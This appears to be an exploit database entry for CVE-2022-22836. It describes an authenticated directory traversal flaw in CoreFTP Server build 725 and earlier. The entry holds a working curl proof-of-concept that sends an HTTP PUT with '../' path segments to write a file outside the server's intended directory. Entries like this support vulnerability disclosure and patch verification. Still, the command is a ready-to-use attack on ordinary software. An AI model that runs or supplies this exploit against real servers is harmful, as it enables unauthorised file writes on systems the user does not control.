CoreFTP Server build 725 - Directory Traversal (Authenticated)

# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops